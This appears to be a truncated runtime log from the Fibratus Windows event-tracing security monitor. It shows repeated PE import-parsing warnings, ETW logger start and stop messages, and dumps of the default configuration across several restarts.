level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T09:38:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:38:32+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:38:32+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:38:33+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:38:56+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T09:38:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T09:38:56+01:00 level=info msg=bootstrapping with pid 16028. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T09:38:56+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>true sound=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + kstream ........................ [ enable-registry=>true enable-handle=>false stack-enrichment=>true enable-mem=>true enable-fileio=>true enable-image=>true buffer-size=>512 enable-dns=>true enable-thread=>true flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[]] enable-audit-api=>true enable-vamap=>true max-buffers=>36 min-buffers=>16] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true max-size=>100 level=>info formatter=>text] + output ......................... [ amqp=>[ durable=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ enabled=>false passive=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672] elasticsearch=>[ bulk-workers=>1 timeout=>5s template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false trace-log=>false index-name=>fibratus gzip-compression=>false] http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false method=>POST enabled=>false] console=>[ format=>pretty enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>true excluded-procs=>[] alert-template=>[] alert-via=>mail excluded-files=>[] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-12T09:38:56+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T09:38:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:58+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:58+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:58+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:39:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:39:09+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:39:10+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:39:10+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:46:48+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T09:46:48+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T09:46:48+01:00 level=info msg=bootstrapping with pid 15908. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T09:46:48+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>true sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>false] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + kstream ........................ [ enable-net=>true flush-interval=>1s stack-enrichment=>true max-buffers=>36 enable-thread=>true buffer-size=>512 enable-dns=>true enable-registry=>true enable-image=>true enable-vamap=>true blacklist=>[ images=>[] events=>[]] enable-fileio=>true min-buffers=>16 enable-audit-api=>true enable-mem=>true enable-handle=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s exchange-type=>topic passive=>false exchange=>fibratus enabled=>false vhost=>/] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true] elasticsearch=>[ trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true enabled=>false index-name=>fibratus template-name=>fibratus flush-period=>1s] http=>[ tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST enabled=>false endpoints=>[] timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ kparams=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true scan-timeout=>10s skip-files=>true alert-via=>mail enabled=>false alert-template=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-12T09:46:48+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T09:46:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:46:51+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:46:51+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:46:51+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:47:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T09:47:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:47:09+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:47:09+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T09:47:10+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:23:26+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T11:23:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T11:23:26+01:00 level=info msg=bootstrapping with pid 18232. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T11:23:26+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] eventlog=>[ verbose=>false enabled=>true] systray=>[ sound=>true enabled=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + kstream ........................ [ enable-thread=>true enable-registry=>true stack-enrichment=>true enable-mem=>true enable-vamap=>true enable-image=>true enable-fileio=>true buffer-size=>512 enable-audit-api=>true min-buffers=>16 enable-dns=>true blacklist=>[ images=>[] events=>[]] flush-interval=>1s enable-handle=>false enable-net=>true max-buffers=>36] + logging ........................ [ max-backups=>15 max-size=>100 level=>info log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false healthcheck-interval=>10s enabled=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false template-name=>fibratus] amqp=>[ exchange-type=>topic routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient timeout=>5s durable=>false vhost=>/ url=>amqp://localhost:5672 passive=>false] http=>[ timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] method=>POST] console=>[ enabled=>true format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ alert-template=>[] scan-timeout=>10s fastscan=>true excluded-procs=>[] excluded-files=>[] enabled=>false alert-via=>mail skip-files=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-12T11:23:26+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T11:23:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:23:29+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:23:29+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:23:29+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to 